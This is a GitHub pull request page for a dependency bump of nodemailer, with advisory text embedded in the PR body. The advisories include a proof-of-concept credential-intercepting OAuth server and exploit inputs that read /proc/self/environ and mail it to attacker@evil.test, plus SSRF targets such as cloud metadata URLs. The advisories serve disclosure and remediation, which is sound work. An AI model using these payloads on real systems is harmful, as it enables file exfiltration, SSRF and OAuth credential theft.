If an application uses jsonTransport to safely serialize or queue partially user-controlled Nodemailer message objects while relying on disableFileAccess / disableUrlAccess, an attacker can bypass those protections. The file-read variant can copy local file contents into the generated JSON message output. The URL-fetch variant can force outbound HTTP requests from the application host to local or internal services despite URL access being disabled. The impact depends on what message fields the embedding application exposes and where it stores or returns the generated JSON, but the local PoC confirms both protected sink operations are reached.

Suggested remediation

Enforce disableFileAccess and disableUrlAccess inside shared.resolveContent() or pass an explicit policy object into every pre-resolution call and reject protected path / href values before opening files or fetching URLs. Apply the same fix to jsonTransport normalization and the attachDataUrls pre-plugin path. Add regression tests showing jsonTransport returns EFILEACCESS / EURLACCESS for file and URL content when those flags are set, and that attachDataUrls cannot resolve object-form html.path / html.href when the corresponding access flag is disabled.

Severity

  • CVSS Score: 5.4 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Nodemailer: Improper TLS Certificate Validation in OAuth2 Token Fetch Enables Credential Interception

GHSA-r7g4-qg5f-qqm2

More information

Details

Summary

Nodemailer disables TLS certificate verification in its internal HTTPS fetch client through the use of rejectUnauthorized: false inside lib/fetch/index.js.

As a result, OAuth2 token requests trust invalid or self-signed HTTPS certificates and transmit sensitive OAuth credentials over connections that should fail TLS validation.

An attacker in a machine-in-the-middle position can intercept OAuth2 credential exchanges and capture:

  • OAuth client_secret
  • refresh_token
  • access tokens

The issue was verified through runtime testing using a self-signed HTTPS OAuth endpoint.

Details

Root Cause

The issue originates from the internal HTTPS fetch implementation used by Nodemailer for OAuth2 token retrieval and related outbound HTTPS requests.

Inside:

lib/fetch/index.js

the request options contain:

rejectUnauthorized: false

This disables TLS peer certificate verification globally for the internal HTTPS client unless explicitly overridden through optional TLS configuration.

As a result:

  • self-signed certificates are trusted
  • invalid CA chains are accepted
  • hostname validation is bypassed
  • attacker-controlled HTTPS endpoints are treated as trusted

This violates expected HTTPS security guarantees.

Vulnerable Flow

The vulnerable execution chain is:

OAuth2 Transport

XOAuth2 token generation

Internal HTTPS fetch client

HTTPS request with rejectUnauthorized:false

Attacker-controlled/self-signed endpoint trusted

OAuth credentials transmitted

PoC

Environment

Mail API (app/server.js)
const express = require("express");
const nodemailer = require("nodemailer");
require("dotenv").config();

const app = express();

app.use(express.json());

const transporter = nodemailer.createTransport({
    host: process.env.SMTP_HOST,
    port: process.env.SMTP_PORT,
    secure: false,
    auth: {
        user: process.env.SMTP_USER,
        pass: process.env.SMTP_PASS
    }
});

app.post("/send", async (req, res) => {
    try {
        const { to, subject, text, html } = req.body;

        const info = await transporter.sendMail({
            from: `"Mailer" <${process.env.SMTP_USER}>`,
            to,
            subject,
            text,
            html
        });

        res.json({
            success: true,
            messageId: info.messageId
        });

    } catch (err) {
        console.error(err);
        res.status(500).json({
            success: false,
            error: err.message
        });
    }
});

app.listen(process.env.PORT, () => {
    console.log(`Mailer running on port ${process.env.PORT}`);
});
Malicious HTTPS OAuth Server (poc/evil-oauth.js)
const https = require('https');
const fs = require('fs');

https.createServer({
    key: fs.readFileSync('./key.pem'),
    cert: fs.readFileSync('./cert.pem')
}, (req, res) => {

    console.log('\n==== REQUEST INTERCEPTED ====');
    console.log(req.method, req.url);

    let body = '';

    req.on('data', chunk => {
        body += chunk;
    });

    req.on('end', () => {

        console.log('\nPOST BODY:');
        console.log(body);

        res.writeHead(200, {
            'Content-Type': 'application/json'
        });

        res.end(JSON.stringify({
            access_token: 'attacker_token',
            expires_in: 3600
        }));
    });

}).listen(8443, () => {
    console.log('Malicious HTTPS OAuth server listening on 8443');
});
Nodemailer OAuth2 Test (test.js)
const nodemailer = require('./');

const transporter = nodemailer.createTransport({
    service: 'gmail',

    auth: {
        type: 'OAuth2',

        user: 'redacted@example.com',

        clientId: 'CLIENT_ID_REDACTED',
        clientSecret: 'CLIENT_SECRET_REDACTED',

        refreshToken: 'REFRESH_TOKEN_REDACTED',

        accessUrl: 'https://localhost:8443/token'
    }
});

transporter.sendMail({
    from: 'redacted@example.com',
    to: 'redacted@example.com',
    subject: 'PoC',
    text: 'test'

}, (err, info) => {

    console.log('\n==== NODEMAILER RESULT ====');

    if (err) {
        console.error(err);
    } else {
        console.log(info);
    }
});

Steps to Reproduce

  • Start malicious HTTPS OAuth server:
  • node poc/evil-oauth.js
  • Run Nodemailer OAuth2 test:
  • node test.js
  • Observe intercepted OAuth2 request body on the malicious HTTPS server.

PIC
image

Impact
  • OAuth credential theft
  • unauthorized email access
  • persistent token abuse
  • unauthorized mail sending
  • mailbox compromise
  • interception/tampering of OAuth responses

The issue effectively downgrades HTTPS security protections for sensitive OAuth credential exchanges.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Nodemailer: Message-level raw option bypasses disableFileAccess/disableUrlAccess, enabling arbitrary file read and full-response SSRF in the delivered message

GHSA-p6gq-j5cr-w38f

More information

Details

Message-level raw option bypasses disableFileAccess / disableUrlAccess, enabling arbitrary file read and full-response SSRF in the sent message
  • Target: nodemailer/nodemailer, npm nodemailer v9.0.0 (HEAD 4e58450eb490e5097a74b2b2cce35a8d9e21856e)
  • Verdict: CONFIRMED (local PoC, no network)
Summary

Nodemailer exposes disableFileAccess and disableUrlAccess so an application that passes
untrusted message data to the library can forbid that data from reading local files or
fetching URLs. Every attachment, alternative, html/text/watchHtml/amp and icalEvent
content node honors these flags. The message-level raw option does not.

MailComposer.compile() builds the root MIME node for a raw message without threading the
two flags, so a raw: { path: '/etc/passwd' } or raw: { href: 'http://169.254.169.254/…' }
message is read / fetched anyway, and the file or HTTP-response bytes become the actual
message that is sent
by every transport (SMTP, SES, sendmail, stream, JSON). An actor whose
input the application intended to sandbox therefore obtains arbitrary local-file disclosure and
a full-response SSRF primitive, delivered to a recipient the same actor can choose.

This is the same vulnerability class as the already-published jsonTransport advisory
GHSA-wqvq-jvpq-h66f, but a distinct code path (raw root node, not normalize()), and
strictly higher impact: the jsonTransport bug only affected the locally-returned JSON, whereas
this affects the delivered RFC822 message for all transports.

Affected component
  • lib/mail-composer/index.js:34-35 — root cause:
    if (this.mail.raw) {
        this.message = new MimeNode('message/rfc822', { newline: this.mail.newline }).setRaw(this.mail.raw);
    }
    The MimeNode is constructed with only { newline }. Compare the sibling node builders
    _createMixed/_createAlternative/_createRelated/_createContentNode
    (lib/mail-composer/index.js:389-527), which all pass
    disableUrlAccess: this.mail.disableUrlAccess, disableFileAccess: this.mail.disableFileAccess.
  • lib/mime-node/index.js:51-52 — the constructor derives this.disableFileAccess/
    this.disableUrlAccess solely from its own options; children do not inherit a parent's
    flags (createChild/appendChild, lines 175-194, pass options through verbatim).
  • lib/mime-node/index.js:812setRaw() content is resolved through this._getStream(this._raw).
  • lib/mime-node/index.js:984-1010_getStream reads the file (fs.createReadStream, 995) or
    fetches the URL (nmfetch, 1009) only guarded by this.disableFileAccess/this.disableUrlAccess,
    which on the raw root node are false.
  • Reached from the normal send flow at lib/mailer/index.js:188
    (mail.message = new MailComposer(mail.data).compile()), so every transport is affected.
Reachability gate (hop-by-hop)
  1. Source. Application calls transporter.sendMail({ raw: <userControlled> , to: <userControlled> })
    with disableFileAccess: true and/or disableUrlAccess: true configured on the transporter
    (forced onto mail.data in lib/mailer/mail-message.js:36-40) or per message. This is the
    exact scenario the flags exist for — the same precondition under which GHSA-wqvq-jvpq-h66f was
    accepted.
  2. Guard — the access flags. For attachments the flag is enforced: a node created by
    _createContentNode carries disableFileAccess, so _getStream throws EFILEACCESS.
    Bypass: the raw branch (compile():34-35) never sets the flag on its node, so
    this.disableFileAccess === false and the guard at mime-node:985 / :999 is skipped.
    There is no other validation between mail.raw and the read; raw content shapes
    ({path}, {href}, stream, string, buffer) are accepted as-is by setRaw/_getStream.
  3. Sink. fs.createReadStream(content.path) (file disclosure) or
    nmfetch(content.href, …) (SSRF). The resulting bytes are emitted as the message body by
    createReadStream(), which every transport pipes to its destination
    (smtp-transport:233, smtp-pool/pool-resource:208, ses-transport:96, sendmail-transport:184,
    stream-transport:67).

No guard blocks the chain; the only guard (the access flags) is structurally absent on this node.

Root cause

Inconsistent enforcement: the access policy is applied per-MimeNode via constructor options and
must be re-passed at every node creation. The raw-message shortcut in compile() omits it,
while all five other node builders include it. The flags are therefore enforced for every content
type except the one that lets the caller supply a complete message body by path/URL.

Exploit path

Application that sandboxes untrusted mail input (disableFileAccess/disableUrlAccess set):

  1. Untrusted actor supplies raw: { path: '/proc/self/environ' } (or any server file:
    /app/.env, key material, etc.) and to: attacker@evil.test.
  2. compile() builds the raw root node without the flags; the transport reads the file and sends
    its contents as the message → arbitrary server-file exfiltration to an attacker-chosen mailbox.
  3. Alternatively raw: { href: 'http://127.0.0.1:8080/admin' } or a cloud metadata URL →
    Nodemailer fetches it server-side and delivers the full response body in the email →
    full-response SSRF (no blind-channel limitation).
Impact
  • Confidentiality (High): arbitrary local file read disclosed in the outgoing message;
    full-response SSRF to internal/metadata endpoints, also disclosed in the message.
  • Integrity (Low): attacker-fetched/file content is injected into the delivered mail.
  • The two protective flags an application relies on to contain untrusted input are silently
    ineffective for raw.
Preconditions

The application (a) passes disableFileAccess and/or `disableUrlAcces

Note

PR body was truncated to here.

@renovate-bot renovate-bot requested review from a team as code owners March 27, 2026 07:05
@product-auto-label product-auto-label Bot added samples Issues that are directly related to samples. api: compute Issues related to the Compute Engine API. labels Mar 27, 2026
@dpebot

dpebot commented Mar 27, 2026

Copy link
Copy Markdown
Contributor

/gcbrun

@trusted-contributions-gcf trusted-contributions-gcf Bot added kokoro:force-run Add this label to force Kokoro to re-run the tests. actions:force-run labels Mar 27, 2026

@gemini-code-assist gemini-code-assist Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Code Review

This pull request updates the nodemailer dependency in compute/package.json to version 8.0.4. The review feedback identifies an opportunity to simplify the project by removing the deprecated nodemailer-smtp-transport package, which is now redundant as SMTP transport is built into the newer version of nodemailer.

Comment thread compute/package.json Outdated
"@google-cloud/compute": "^4.0.0",
"@sendgrid/mail": "^8.0.0",
"nodemailer": "^6.0.0",
"nodemailer": "^8.0.4",

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

medium

With this major version upgrade of nodemailer, it's a good opportunity to also remove the deprecated nodemailer-smtp-transport package. SMTP transport is included in nodemailer by default, so this dependency is no longer needed.

Removing it would require updating compute/mailjet.js to use the built-in transport. This would simplify the code and remove a dependency that hasn't been updated in a long time.

Here's how compute/mailjet.js could be updated:

const mailer = require('nodemailer');
// const smtp = require('nodemailer-smtp-transport'); // This can be removed

async function mailjet() {
  const transport = mailer.createTransport({
      host: 'in.mailjet.com',
      port: 2525,
      auth: {
        user: process.env.MAILJET_API_KEY || '<your-mailjet-api-key',
        pass: process.env.MAILJET_API_SECRET || '<your-mailjet-api-secret>',
      },
    });
  // ...
}

The corresponding test file compute/test/mailjet.test.js would also need to be updated to reflect these changes.

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from c0a674c to 3e9d27b Compare March 27, 2026 16:03
@dpebot

dpebot commented Mar 27, 2026

Copy link
Copy Markdown
Contributor

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 3e9d27b to e020892 Compare March 27, 2026 18:20
@dpebot

dpebot commented Mar 27, 2026

Copy link
Copy Markdown
Contributor

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from e020892 to 850aed2 Compare March 27, 2026 18:23
@dpebot

dpebot commented Mar 27, 2026

Copy link
Copy Markdown
Contributor

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 850aed2 to a86144e Compare March 27, 2026 18:26
@dpebot

dpebot commented Mar 27, 2026

Copy link
Copy Markdown
Contributor

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from a86144e to a9fadca Compare March 27, 2026 18:28
@dpebot

dpebot commented Mar 27, 2026

Copy link
Copy Markdown
Contributor

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from a9fadca to 48ef02d Compare March 27, 2026 18:32
@dpebot

dpebot commented Mar 27, 2026

Copy link
Copy Markdown
Contributor

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 48ef02d to f3583b7 Compare March 28, 2026 03:21
@dpebot

dpebot commented Mar 28, 2026

Copy link
Copy Markdown
Contributor

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from f3583b7 to 22d530f Compare March 28, 2026 03:23
@dpebot

dpebot commented Mar 28, 2026

Copy link
Copy Markdown
Contributor

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 22d530f to 0754fcd Compare March 28, 2026 19:10
@dpebot

dpebot commented Mar 28, 2026

Copy link
Copy Markdown
Contributor

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 0754fcd to 49e740a Compare March 28, 2026 22:44
@dpebot

dpebot commented Mar 28, 2026

Copy link
Copy Markdown
Contributor

/gcbrun

@dpebot

dpebot commented Jun 3, 2026

Copy link
Copy Markdown
Contributor

/gcbrun

27 similar comments
@dpebot

dpebot commented Jun 3, 2026

Copy link
Copy Markdown
Contributor

/gcbrun

@dpebot

dpebot commented Jun 3, 2026

Copy link
Copy Markdown
Contributor

/gcbrun

@dpebot

dpebot commented Jun 3, 2026

Copy link
Copy Markdown
Contributor

/gcbrun

@dpebot

dpebot commented Jun 4, 2026

Copy link
Copy Markdown
Contributor

/gcbrun

@dpebot

dpebot commented Jun 4, 2026

Copy link
Copy Markdown
Contributor

/gcbrun

@dpebot

dpebot commented Jun 4, 2026

Copy link
Copy Markdown
Contributor

/gcbrun

@dpebot

dpebot commented Jun 4, 2026

Copy link
Copy Markdown
Contributor

/gcbrun

@dpebot

dpebot commented Jun 4, 2026

Copy link
Copy Markdown
Contributor

/gcbrun

@dpebot

dpebot commented Jun 4, 2026

Copy link
Copy Markdown
Contributor

/gcbrun

@dpebot

dpebot commented Jun 4, 2026

Copy link
Copy Markdown
Contributor

/gcbrun

@dpebot

dpebot commented Jun 4, 2026

Copy link
Copy Markdown
Contributor

/gcbrun

@dpebot

dpebot commented Jun 4, 2026

Copy link
Copy Markdown
Contributor

/gcbrun

@dpebot

dpebot commented Jun 5, 2026

Copy link
Copy Markdown
Contributor

/gcbrun

@dpebot

dpebot commented Jun 5, 2026

Copy link
Copy Markdown
Contributor

/gcbrun

@dpebot

dpebot commented Jun 8, 2026

Copy link
Copy Markdown
Contributor

/gcbrun

@dpebot

dpebot commented Jun 9, 2026

Copy link
Copy Markdown
Contributor

/gcbrun

@dpebot

dpebot commented Jun 9, 2026

Copy link
Copy Markdown
Contributor

/gcbrun

@dpebot

dpebot commented Jun 9, 2026

Copy link
Copy Markdown
Contributor

/gcbrun

@dpebot

dpebot commented Jun 10, 2026

Copy link
Copy Markdown
Contributor

/gcbrun

@dpebot

dpebot commented Jun 10, 2026

Copy link
Copy Markdown
Contributor

/gcbrun

@dpebot

dpebot commented Jun 11, 2026

Copy link
Copy Markdown
Contributor

/gcbrun

@dpebot

dpebot commented Jun 13, 2026

Copy link
Copy Markdown
Contributor

/gcbrun

@dpebot

dpebot commented Jun 17, 2026

Copy link
Copy Markdown
Contributor

/gcbrun

@dpebot

dpebot commented Jun 18, 2026

Copy link
Copy Markdown
Contributor

/gcbrun

@dpebot

dpebot commented Jun 18, 2026

Copy link
Copy Markdown
Contributor

/gcbrun

@dpebot

dpebot commented Jun 18, 2026

Copy link
Copy Markdown
Contributor

/gcbrun

@dpebot

dpebot commented Jun 18, 2026

Copy link
Copy Markdown
Contributor

/gcbrun

@dpebot

dpebot commented Jun 18, 2026

Copy link
Copy Markdown
Contributor

/gcbrun

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

actions:force-run api: compute Issues related to the Compute Engine API. kokoro:force-run Add this label to force Kokoro to re-run the tests. major samples Issues that are directly related to samples.

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants